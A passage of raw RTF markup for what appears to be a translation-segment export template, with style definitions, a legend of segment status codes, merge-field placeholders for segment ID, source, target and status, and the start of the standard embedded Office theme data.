\li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 \fs21\lang1033\langfe2052\kerning2\loch\f0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 +\snext11 \ssemihidden \sunhideused \sqformat Normal Table;}{\*\ts15\tsrowd\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidthB3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblind0\tblindtype0\tscellwidthfts0\tsvertalt\tsbrdrt\tsbrdrl\tsbrdrb\tsbrdrr\tsbrdrdgl\tsbrdrdgr\tsbrdrh\tsbrdrv +\qj \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs20\alang1025 \ltrch\fcs0 \fs20\lang1033\langfe2052\loch\f0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 \sbasedon11 \snext15 \styrsid7231073 +Table Grid;}{\*\cs16 \additive \rtlch\fcs1 \af0 \ltrch\fcs0 \ul\cf2 \sbasedon10 \styrsid5069513 Hyperlink;}{\s17\qc \li0\ri0\nowidctlpar\brdrb\brdrs\brdrw15\brsp20 +\tqc\tx4153\tqr\tx8306\wrapdefault\aspalpha\aspnum\faauto\nosnaplinegrid\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs18\alang1025 \ltrch\fcs0 \fs18\lang1033\langfe2052\kerning2\loch\f0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 +\sbasedon0 \snext17 \slink18 \ssemihidden \sunhideused \styrsid11935318 header;}{\*\cs18 \additive \rtlch\fcs1 \af0\afs18 \ltrch\fcs0 \fs18 \sbasedon10 \slink17 \slocked \ssemihidden \styrsid11935318 \'d2\'b3\'c3\'bc Char;}{\s19\ql \li0\ri0\nowidctlpar +\tqc\tx4153\tqr\tx8306\wrapdefault\aspalpha\aspnum\faauto\nosnaplinegrid\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs18\alang1025 \ltrch\fcs0 \fs18\lang1033\langfe2052\kerning2\loch\f0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 +\sbasedon0 \snext19 \slink20 \ssemihidden \sunhideused \styrsid11935318 footer;}{\*\cs20 \additive \rtlch\fcs1 \af0\afs18 \ltrch\fcs0 \fs18 \sbasedon10 \slink19 \slocked \ssemihidden \styrsid11935318 \'d2\'b3\'bd\'c5 Char;}}{\*\rsidtbl \rsid546438 +\rsid599877\rsid608150\rsid1255587\rsid2698375\rsid2892456\rsid3934581\rsid3936425\rsid4081155\rsid4416445\rsid5069513\rsid5196498\rsid5662041\rsid5771882\rsid5840819\rsid6312964\rsid6377614\rsid6840796\rsid6968359\rsid7231073\rsid7690906\rsid8342235 +\rsid9201643\rsid9263924\rsid9456007\rsid9526854\rsid9962071\rsid10704782\rsid11083745\rsid11087189\rsid11414715\rsid11560315\rsid11737115\rsid11746903\rsid11935318\rsid12479908\rsid12588362\rsid12613898\rsid12677781\rsid12715023\rsid13008020\rsid13137282 +\rsid13182432\rsid13577806\rsid13967210\rsid14033508\rsid14424044\rsid15869228\rsid16452716\rsid16723424}{\mmathPr\mmathFont34\mbrkBin0\mbrkBinSub0\msmallFrac0\mdispDef1\mlMargin0\mrMargin0\mdefJc1\mwrapIndent1440\mintLim0\mnaryLim1}{\info{\author a} +{\operator Peason Guo}{\creatim\yr2012\mo2\dy20\hr18\min42}{\revtim\yr2012\mo10\dy30\hr15\min43}{\version40}{\edmins55}{\nofpages1}{\nofwords95}{\nofchars543}{\*\company a}{\nofcharsws637}{\vern32859}}{\*\xmlnstbl {\xmlns1 http://schemas.microsoft.com/off +ice/word/2003/wordml}}\paperw11906\paperh16838\margl1800\margr1800\margt1440\margb1440\gutter0\ltrsect +\deftab420\ftnbj\aenddoc\trackmoves1\trackformatting1\donotembedsysfont0\relyonvml0\donotembedlingdata1\grfdocevents0\validatexml0\showplaceholdtext0\ignoremixedcontent0\saveinvalidxml0\showxmlerrors0\hyphcaps0\formshade\horzdoc\dgmargin\dghspace180 +\dgvspace156\dghorigin1800\dgvorigin1440\dghshow0\dgvshow2\jcompress\ksulang2052\lnongrid +\viewkind1\viewscale130\splytwnine\ftnlytwnine\htmautsp\useltbaln\alntblind\lytcalctblwd\lyttblrtgr\lnbrkrule\nobrkwrptbl\snaptogridincell\allowfieldendsel\wrppunct\asianbrkrule\rsidroot11087189\newtblstyruls\nogrowautofit {\*\fchars +!),.:\'3b?]\'7d\'a1\'a7\'a1\'a4\'a1\'a6\'a1\'a5\'a8\'44\'a1\'ac\'a1\'af\'a1\'b1\'a1\'ad\'a1\'c3\'a1\'a2\'a1\'a3\'a1\'a8\'a1\'a9\'a1\'b5\'a1\'b7\'a1\'b9\'a1\'bb\'a1\'bf\'a1\'b3\'a1\'bd\'a3\'a1\'a3\'a2\'a3\'a7\'a3\'a9\'a3\'ac\'a3\'ae\'a3\'ba\'a3\'bb\'a3\'bf\'a3\'dd\'a3\'e0\'a3\'fc\'a3\'fd\'a1\'ab\'a1\'e9 +}{\*\lchars ([\'7b\'a1\'a4\'a1\'ae\'a1\'b0\'a1\'b4\'a1\'b6\'a1\'b8\'a1\'ba\'a1\'be\'a1\'b2\'a1\'bc\'a3\'a8\'a3\'ae\'a3\'db\'a3\'fb\'a1\'ea\'a3\'a4}\fet0{\*\wgrffmtfilter 2450}\ilfomacatclnup0{\*\ftnsep \ltrpar \pard\plain \ltrpar +\qj \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid11935318 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 \fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 { +\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid11935318 \chftnsep +\par }}{\*\ftnsepc \ltrpar \pard\plain \ltrpar\qj \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid11935318 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 +\fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid11935318 \chftnsepc +\par }}{\*\aftnsep \ltrpar \pard\plain \ltrpar\qj \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid11935318 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 +\fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid11935318 \chftnsep +\par }}{\*\aftnsepc \ltrpar \pard\plain \ltrpar\qj \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid11935318 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 +\fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid11935318 \chftnsepc +\par }}\ltrpar \sectd \ltrsect\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang {\pntxta \dbch .}}{\*\pnseclvl2\pnucltr\pnstart1\pnindent720\pnhang {\pntxta \dbch .}} +{\*\pnseclvl3\pndec\pnstart1\pnindent720\pnhang {\pntxta \dbch .}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent720\pnhang {\pntxta \dbch )}}{\*\pnseclvl5\pndec\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl6 +\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl7\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl8\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl9 +\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}\ltrrow\trowd \irow0\irowband0\ltrrow\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 +\trbrdrv\brdrs\brdrw10 \trftsWidth3\trwWidth8568\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid12677781\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrnone +\clbrdrl\brdrnone \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrnone \cltxlrtb\clftsWidth3\clwWidth8568\clshdrawnil \cellx8460\pard\plain \ltrpar\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid546438\yts15 +\rtlch\fcs1 \af0\afs20\alang1025 \ltrch\fcs0 \fs20\lang1033\langfe2052\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid546438\charrsid546438 \hich\af0\dbch\af13\loch\f0 +Values in Statu\hich\af0\dbch\af13\loch\f0 s column for segment statuses\hich\af0\dbch\af13\loch\f0 \hich\af0\dbch\af13\loch\f0 (\hich\af0\dbch\af13\loch\f0 Use & to separate multiple status\hich\af0\dbch\af13\loch\f0 )\hich\af0\dbch\af13\loch\f0 : + +\par \hich\af0\dbch\af13\loch\f0 0 \loch\af0\dbch\af13\hich\f0 \endash \hich\af0\dbch\af13\loch\f0 Untranslated\hich\af0\dbch\af13\loch\f0 , \hich\af0\dbch\af13\loch\f0 1 \loch\af0\dbch\af13\hich\f0 \endash \hich\af0\dbch\af13\loch\f0 Draft +\hich\af0\dbch\af13\loch\f0 , \hich\af0\dbch\af13\loch\f0 2 \loch\af0\dbch\af13\hich\f0 \endash \hich\af0\dbch\af13\loch\f0 Translated\hich\af0\dbch\af13\loch\f0 , \hich\af0\dbch\af13\loch\f0 3 \loch\af0\dbch\af13\hich\f0 \endash +\hich\af0\dbch\af13\loch\f0 Approved\hich\af0\dbch\af13\loch\f0 , \hich\af0\dbch\af13\loch\f0 4 - Signed off\hich\af0\dbch\af13\loch\f0 , \hich\af0\dbch\af13\loch\f0 7 \loch\af0\dbch\af13\hich\f0 \endash \hich\af0\dbch\af13\loch\f0 Locked +\hich\af0\dbch\af13\loch\f0 , \hich\af0\dbch\af13\loch\f0 8 - Not send to TM\hich\af0\dbch\af13\loch\f0 , \hich\af0\dbch\af13\loch\f0 9 \hich\f0 \endash \hich\af0\dbch\af13\loch\f0 Pending.}{\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 +\b\f38\fs18\kerning2\insrsid13577806\charrsid9201643 \cell }\pard\plain \ltrpar\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 +\fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\insrsid13577806\charrsid9201643 \trowd \irow0\irowband0\ltrrow\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 +\trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth3\trwWidth8568\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid12677781\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrnone \clbrdrl\brdrnone +\clbrdrb\brdrs\brdrw10 \clbrdrr\brdrnone \cltxlrtb\clftsWidth3\clwWidth8568\clshdrawnil \cellx8460\row \ltrrow}\trowd \irow1\irowband1\ltrrow\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr +\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth3\trwWidth8568\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid13577806\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl +\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1008\clcbpatraw18 \cellx900\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\clcbpat18\cltxlrtb\clftsWidth3\clwWidth2880\clcbpatraw18 \cellx3780\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth3060\clcbpatraw18 \cellx6840\clvertalt +\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1620\clcbpatraw18 \cellx8460\pard\plain \ltrpar +\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid9201643\yts15 \rtlch\fcs1 \af0\afs20\alang1025 \ltrch\fcs0 \fs20\lang1033\langfe2052\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 +{\field\fldedit{\*\fldinst {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 MERGEFIELD $header_id \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 +\b\f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $header_id}}}\sectd \ltrsect\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \ab\af38\afs18 +\ltrch\fcs0 \b\f38\fs18\kerning2\insrsid13577806\charrsid9201643 \cell }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 MERGEFIELD $header_source \\ +* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $header_source}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid13577806\charrsid9201643 \cell }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 +\b\f38\fs18\kerning2\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 MERGEFIELD $header_target \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 +\b\f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $header_target}}}\sectd \ltrsect\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \ab\af38\afs18 +\ltrch\fcs0 \b\f38\fs18\kerning2\insrsid13577806\charrsid9201643 \cell }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 MERGEFIELD $header_status \\ +* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $header_status}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid13577806\charrsid9201643 \cell }\pard\plain \ltrpar +\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 \fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af38\afs18 +\ltrch\fcs0 \f38\fs18\insrsid13577806\charrsid9201643 \trowd \irow1\irowband1\ltrrow\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth3\trwWidth8568\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid13577806\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl +\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1008\clcbpatraw18 \cellx900\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\clcbpat18\cltxlrtb\clftsWidth3\clwWidth2880\clcbpatraw18 \cellx3780\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth3060\clcbpatraw18 \cellx6840\clvertalt +\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1620\clcbpatraw18 \cellx8460\row \ltrrow}\trowd \irow2\irowband2\lastrow \ltrrow\ts15\trgaph108\trleft-108\trbrdrt +\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth3\trwWidth8568\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid13577806\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl +\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1008\clshdrawnil \cellx900\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\cltxlrtb\clftsWidth3\clwWidth2880\clshdrawnil \cellx3780\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth3060\clshdrawnil \cellx6840\clvertalt\clbrdrt\brdrs\brdrw10 +\clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1620\clshdrawnil \cellx8460\pard\plain \ltrpar\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid3936425\yts15 +\rtlch\fcs1 \af0\afs20\alang1025 \ltrch\fcs0 \fs20\lang1033\langfe2052\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\field\fldedit{\*\fldinst {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid13577806\charrsid9201643 +\hich\af38\dbch\af13\loch\f38 MERGEFIELD $es.Id \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $es.Id}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid13577806\charrsid9201643 \cell }\pard \ltrpar +\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid9201643\yts15 {\field\fldedit{\*\fldinst {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 + MERGEFIELD $es.Source \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $es.Source}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid13577806\charrsid9201643 \cell }\pard \ltrpar +\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid3936425\yts15 {\field\fldedit{\*\fldinst {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 + MERGEFIELD $es.Target \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $es.Target}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid13577806\charrsid9201643 \cell }\pard \ltrpar +\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid9201643\yts15 {\field\fldedit{\*\fldinst {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 + MERGEFIELD $es.Status \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $es.Status}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid13577806\charrsid9201643 \cell }\pard\plain \ltrpar +\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 \fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af38\afs18 +\ltrch\fcs0 \f38\fs18\insrsid13577806\charrsid9201643 \trowd \irow2\irowband2\lastrow \ltrrow\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv +\brdrs\brdrw10 \trftsWidth3\trwWidth8568\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid13577806\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 +\clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1008\clshdrawnil \cellx900\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\cltxlrtb\clftsWidth3\clwWidth2880\clshdrawnil \cellx3780\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth3060\clshdrawnil \cellx6840\clvertalt\clbrdrt\brdrs\brdrw10 +\clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1620\clshdrawnil \cellx8460\row }\pard \ltrpar\ql \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid3936425 { +\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid608150 +\par }{\*\themedata 504b030414000600080000002100828abc13fa0000001c020000130000005b436f6e74656e745f54797065735d2e786d6cac91cb6ac3301045f785fe83d0b6d8 +72ba28a5d8cea249777d2cd20f18e4b12d6a8f843409c9df77ecb850ba082d74231062ce997b55ae8fe3a00e1893f354e9555e6885647de3a8abf4fbee29bbd7 +2a3150038327acf409935ed7d757e5ee14302999a654e99e393c18936c8f23a4dc072479697d1c81e51a3b13c07e4087e6b628ee8cf5c4489cf1c4d075f92a0b +44d7a07a83c82f308ac7b0a0f0fbf90c2480980b58abc733615aa2d210c2e02cb04430076a7ee833dfb6ce62e3ed7e14693e8317d8cd0433bf5c60f53fea2fe7 +065bd80facb647e9e25c7fc421fd2ddb526b2e9373fed4bb902e182e97b7b461e6bfad3f010000ffff0300504b030414000600080000002100a5d6a7e7c00000 +00360100000b0000005f72656c732f2e72656c73848fcf6ac3300c87ef85bd83d17d51d2c31825762fa590432fa37d00e1287f68221bdb1bebdb4fc7060abb08 +84a4eff7a93dfeae8bf9e194e720169aaa06c3e2433fcb68e1763dbf7f82c985a4a725085b787086a37bdbb55fbc50d1a33ccd311ba548b63095120f88d94fbc +52ae4264d1c910d24a45db3462247fa791715fd71f989e19e0364cd3f51652d73760ae8fa8c9ffb3c330cc9e4fc17faf2ce545046e37944c69e462a1a82fe353 +bd90a865aad41ed0b5b8f9d6fd010000ffff0300504b0304140006000800000021006b799616830000008a0000001c0000007468656d652f7468656d652f7468 +656d654d616e616765722e786d6c0ccc4d0ac3201040e17da17790d93763bb284562b2cbaebbf600439c1a41c7a0d29fdbd7e5e38337cedf14d59b4b0d592c9c +070d8a65cd2e88b7f07c2ca71ba8da481cc52c6ce1c715e6e97818c9b48d13df49c873517d23d59085adb5dd20d6b52bd521ef2cdd5eb9246a3d8b4757e8d3f7 +29e245eb2b260a0238fd010000ffff0300504b030414000600080000002100c71c6d149c060000511b0000160000007468656d652f7468656d652f7468656d65 +312e786d6cec594d6f1b4518be23f11f467b6f6327761a4775aad8b11b68d346b15bd4e3783dde9d7a766735334eea1b6a8f484888827aa012e2c20101955a09 +24caaf49292a45ea5fe09d99ddf54ebc26491b4105f521f1ce3eeff7c7bc33be78e94ec4d03e1192f2b8e955cf573c44629f0f691c34bd1bfdeeb9350f4985e3 +21663c264d6f4aa47769e3fdf72ee27515928820a08fe53a6e7aa152c9fad292f46119cbf33c2131bc1b711161058f22581a0a7c007c23b6b45ca9ac2e4598c6 +1e8a71046caf8f46d427e8d9cfbfbcf8e681b79171ef3010112ba9177c267a9a3771480c7638ae6a849cca3613681fb3a6078286fca04fee280f312c15bc687a 